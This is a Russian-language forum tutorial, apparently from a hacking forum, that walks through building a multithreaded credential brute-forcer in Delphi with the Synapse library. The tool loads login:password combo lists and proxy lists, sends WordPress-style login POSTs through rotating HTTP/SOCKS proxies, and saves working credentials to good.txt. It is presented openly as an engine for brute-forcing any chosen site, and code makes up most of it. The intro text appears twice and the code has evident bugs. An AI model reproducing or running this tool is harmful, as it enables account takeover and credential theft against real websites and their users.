- Регистрация
- 9 Май 2015
- Сообщения
- 1,227
- Баллы
- 155
Сегодня, после долгого перерыва, рассмотрим написание многопоточного Brute по той же технологии, что и в предыдущей статье, с тем лишь условием, что писать его будем не с помощью vcl (idhttp), а с помощью библиотеки Synapse.
Автор предполагает, что сию библиотеку вы благополучно установили сами (благо в google.com информации немыслимое количество :) ).
Итак, первым делом разберёмся, что за это такая библиотека и что же такого плохого в Indy. Ну как минимум то, что Indy - компоненты могут выдать ошибку там, где её быть не должно в принципе (у кого как, а это личное наблюдение), поэтому Synapse в этом плане в разы стабильнее.
Ну, начнём.
Для начала делаем дизайн. Тут уж как кому заблагорассудится. У меня получилось что-то вроде этого:
В Combobox'е TypeProxy задаём 4 типа, с которыми придётся работать бруту:
HTTP/HTTPS
Socks4
Socks5
И начинаем писать. Сначала забиндим кнопки "Загрузить базу login/pass" и "Загрузить список Proxy":
FormCreate:
onclick:
Тем самым мы загрузили список Login :; Pass
Аналогичные действия делаем с кнопкой "Загрузить список Proxy":
FormCreate:
onclick:
Тем самым мы загрузили список Proxy.
Идём дальше. А дальше у нас кнопка Start, которая будет после нескольких действий вызывать Execute потока. Но обо всё по-порядку. В публичную секцию переменных кинем:
Ну и первым делом на кнопке Start пропишем создание этих файлов:
Далее идёт определение разделителя (да-да, именно этот "огромный" код почему-то выдают за супер фичу, которую пишут в особенностях брута):
onclick:
Далее определим тип proxy:
onclick:
Теперь обнуляем переменные и запускаем цикл. Ничего нового, тут уже как в прошлой части:
onclick:
Соответственно надо не забыть создать поток ;) :
Почему поток не запустится? Правильно, потому что конструктор не сказал, что ему делать при запуске. Исправим, создав конструктор:
В секции type потока объявим раздел PUBLIC, где укажем конструктор:
Теперь то, что почти не затронул в прошлых уроках. Несколько слов о конструкторах, о ключевом слове inherited.
Конструктор, грубо говоря, чем-то поход на метод (например .Create). Он вызывается в начале работы программы, проверяет заданные в нём инструкции и выполняет их. Конструктор, прежде всего, предназначен для создания объекта из класса. Т.е. вы пишете класс, унаследованный от какого либо объекта, и в нём прописываете конструктор, в котором задаёте какие-либо действия. Эти действия выполнятся при запуске программы. Соответственно есть и деструкторы классов. Тоже самое что и конструкторы, но вызываются в конце работы программы и используются для уничтожения объекта. Подразумевается, что имена своим конструкторам и деструкторам вы будете давать Create и Destroy соответственно.
Ключевое слово inherited используется тогда, когда нужно для текущего класса вызвать конструктор родительского класса как соответствующий. Т.е. класс является наследником какого-либо объекта, и прописав для него inherited вы скажете, что для данного класса-наследник конструктором будет тот конструктор, который стоит по-умолчанию у объекта-родителя.
Едем дальше. А дальше то, что собственно и есть главной функцией брута - запросы. Описываются они, как уже понятно, в методе Execute потока. Теперь важно определить, для какого сайта или движка будем писать брут. Я выберу типичный wordpress, что бы не усложнять код. В вордпрессе, как мы помним, в запросе надо передать 2 обязательных параметра: log и pwd.
Ну и процедура синхронизации:
Здесь всё так же, как и в предыдущей статье по бруту на обычных idhttp.
Собственно примерно так и пишется движок брута на Synapse. Все настройки дополняются уже исходя из сайта, который нужно забрутить. На основе этого исходника я в скором времени выложу готовый проект, нацеленный на брут какого-либо сайта.
Спасибо за внимание.
Автор предполагает, что сию библиотеку вы благополучно установили сами (благо в google.com информации немыслимое количество :) ).
Итак, первым делом разберёмся, что за это такая библиотека и что же такого плохого в Indy. Ну как минимум то, что Indy - компоненты могут выдать ошибку там, где её быть не должно в принципе (у кого как, а это личное наблюдение), поэтому Synapse в этом плане в разы стабильнее.
Ну, начнём.
Для начала делаем дизайн. Тут уж как кому заблагорассудится. У меня получилось что-то вроде этого:

В Combobox'е TypeProxy задаём 4 типа, с которыми придётся работать бруту:
HTTP/HTTPS
Socks4
Socks5
И начинаем писать. Сначала забиндим кнопки "Загрузить базу login/pass" и "Загрузить список Proxy":
Код:
var
listacc: TStringList;
Код:
listacc:= TStringList.Create;
Код:
begin
form1.OP1.InitialDir:= extractfiledir(application.ExeName); //Дир-ия по-умолчанию будет дирректория приложения
if form1.OP1.Execute then //Если OpenDialog1 вызван, тогда:
begin
listacc.Clear; //Очищаем StringList
listacc.LoadFromFile(form1.OP1.FileName); //Загружаем в listacc открытый файл
form1.SB1.Panels[0].Width:= 120; //Задаём ширину 1-ой панели
form1.SB1.Panels[0].Text:= 'number: '+ inttostr(listacc.Count); //Задаём текст 1-ой панели
end;
end;
Аналогичные действия делаем с кнопкой "Загрузить список Proxy":
Код:
var
ProxyList: TStringList;
Код:
ProxyList:= TStringList.Create;
Код:
begin
form1.OP1.InitialDir:= extractfiledir(application.ExeName); //Дир-ия по-умолчанию будет дирректория приложения
if form1.OP1.Execute then //Если OpenDialog1 вызван, тогда:
begin
ProxyList.Clear; //Очищаем StringList
ProxyList.LoadFromFile(form1.OP1.FileName); //Загружаем в listacc открытый файл
form1.SB1.Panels[1].Width:= 120; //Задаём ширину 1-ой панели
form1.SB1.Panels[1].Text:= 'proxy: '+ inttostr(ProxyList.Count); //Задаём текст 1-ой панели
end;
end;
Идём дальше. А дальше у нас кнопка Start, которая будет после нескольких действий вызывать Execute потока. Но обо всё по-порядку. В публичную секцию переменных кинем:
Код:
var
GoodFile, BadFile:textfile;
Код:
AssignFile(GOODFile,ExtractFileDir(Application.ExeName)+'good.txt');
Rewrite(GoodFile);
CloseFile(GoodFile);
AssignFile(BadFile,ExtractFileDir(Application.ExeName)+'bad.txt');
Rewrite(BadFile);
CloseFile(BadFile);
Код:
var
delitel: String;
Код:
if pos(':', listacc.text) <> 0 then
delitel:= ':' else delitel:= ';';
Код:
var
ProxyType: String;
Код:
if form1.typeProxy.ItemIndex = 0 then //typeProxy - name Combobox'а
ProxyType = 'http' else ProxyType:= 'socks';
Код:
var
acc, thread: integer;
Код:
Acc:=-1;
Work:=true;
for Thread:=0 to strtoint(txtthread.TExt) do
begin
pwpotok.Create(false);
end;
Thread:=strtoint(form1.txtthread.TExt);
end;
Код:
type
pwpotok = class(TThread)
private
{ Private declarations }
protected
procedure Execute; override;
end;
procedure pwpotok.Execute;
begin
end;
В секции type потока объявим раздел PUBLIC, где укажем конструктор:
Код:
type
..
public
constructor Create(CreateSuspended: Boolean);
constructor pwpotok.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;
Конструктор, грубо говоря, чем-то поход на метод (например .Create). Он вызывается в начале работы программы, проверяет заданные в нём инструкции и выполняет их. Конструктор, прежде всего, предназначен для создания объекта из класса. Т.е. вы пишете класс, унаследованный от какого либо объекта, и в нём прописываете конструктор, в котором задаёте какие-либо действия. Эти действия выполнятся при запуске программы. Соответственно есть и деструкторы классов. Тоже самое что и конструкторы, но вызываются в конце работы программы и используются для уничтожения объекта. Подразумевается, что имена своим конструкторам и деструкторам вы будете давать Create и Destroy соответственно.
Ключевое слово inherited используется тогда, когда нужно для текущего класса вызвать конструктор родительского класса как соответствующий. Т.е. класс является наследником какого-либо объекта, и прописав для него inherited вы скажете, что для данного класса-наследник конструктором будет тот конструктор, который стоит по-умолчанию у объекта-родителя.
Едем дальше. А дальше то, что собственно и есть главной функцией брута - запросы. Описываются они, как уже понятно, в методе Execute потока. Теперь важно определить, для какого сайта или движка будем писать брут. Я выберу типичный wordpress, что бы не усложнять код. В вордпрессе, как мы помним, в запросе надо передать 2 обязательных параметра: log и pwd.
Код:
Procedure pwpotok.Execute;
var CurAcc, TP:integer; // Настоящий логин/пароль и настоящий proxy
HTTP:THTTPSend; //Переменная типа THttpSend, сама библиотека Synapse
IP, Port:string; //Порт и адрес Proxy
data:TStringStream; //переменная типа TStringStream, куда будут ложиться параметры запроса
HTML, src:TStringList; // StringList'ы
begin
while Work do //Тут всё аналогично с idhttp, лишь в критической секции добавляется контроль за списком Proxy
begin
CS.Enter;
Inc(Acc);
if Acc<listacc.Count-1 then CurAcc:=Acc else Work:=false;
if 1<Proxylist.Count-1 then TP:=1 else begin end;
CS.Leave;
if Work then
begin
//copy login
FLogin:= Copy(listacc[CurAcc],1,Pos(delitel,listacc[CurAcc])-1);
FPassword:= Copy(listacc[CurAcc],Pos(delitel,listacc[CurAcc])+1,Length(listacc[CurAcc]));
ShowMessage(flogin+' : '+fpassword);
//copy proxy
if ProxyList.Text = '' then
begin
sleep(0);
end
else
begin
IP:=Copy(ProxyList[TP], 1, Pos(':', ProxyList[TP])-1);
Port:=Copy(ProxyList[TP],Pos(':',ProxyList[TP])+1,Length(ProxyList[TP]));
end;
HTTP:=THTTPSend.Create; //А теперь пошёл в бой Synapse.
//Заголовки
with HTTP do begin // что такое заголовки запроса ты знать должен. Копируем их из сниффера.
Headers.Add('Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01'); MimeType:='application/x-www-form-urlencoded';
Headers.Add('Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3');
Headers.Add('Connection: keep-alive');
end;
//POST
data:=Tstringstream.Create; //Инициаллизируем
data.WriteString('log='+ Flogin+'&pwd='+ Fpassword); //Добавляем параметры
HTTP.Document.LoadFromStream(data); //Загружаем
//Выставляем Proxy
if Proxylist.Text = '' then
begin
sleep(0)
end else
begin
//socks
if proxytype='socks' then
begin
HTTP.Sock.SocksIP:=IP;
HTTP.Sock.SocksPort:=Port;
end;
//HTTP
if proxytype='http' then
begin
HTTP.ProxyHost:=IP;
HTTP.ProxyPort:=Port;
end;
end;
//Отправляем запрос
if HTTP.HTTPMethod('POST', 'http://site.ru/login.php') then begin
if pos('Set-Cookie: pwd=', HTTP.Headers.Text)<>0 then //Проверяем успешна-ли авторизация
Rezult:=1 else Rezult:=-1;
HTTP.Free;
src.Free;
data.Free;
Synchronize(Sunch);
end;
end;
dec(Thread);
if Thread=0 then ShowMessage('Всё ок');
end;
end;
Код:
procedure pwpotok.Synch;
begin
case Rezult of // если Rezult =
1: begin // 1, то:
form1.SB1.Panels[4].Text:= form1.SB1.Panels[3].Text + inttostr(strtoint(form1.SB1.Panels[3].Text)+1);
Append(GoodFile); // открываем для записи файл GoodFile
WriteLn(GoodFile, FLogin+':'+FPassword); // Записываем в него логин : пароль
closefile(GoodFile); // закрываем
end;
-1: begin
form1.SB1.Panels[4].Text:= form1.SB1.Panels[4].Text + inttostr(strtoint(form1.SB1.Panels[4].Text)+1);
Append(BadFile); // аналогично
WriteLn(BadFile, FLogin+':'+FPassword);
closefile(BadFile);
end;
end;
end;
Собственно примерно так и пишется движок брута на Synapse. Все настройки дополняются уже исходя из сайта, который нужно забрутить. На основе этого исходника я в скором времени выложу готовый проект, нацеленный на брут какого-либо сайта.
Спасибо за внимание.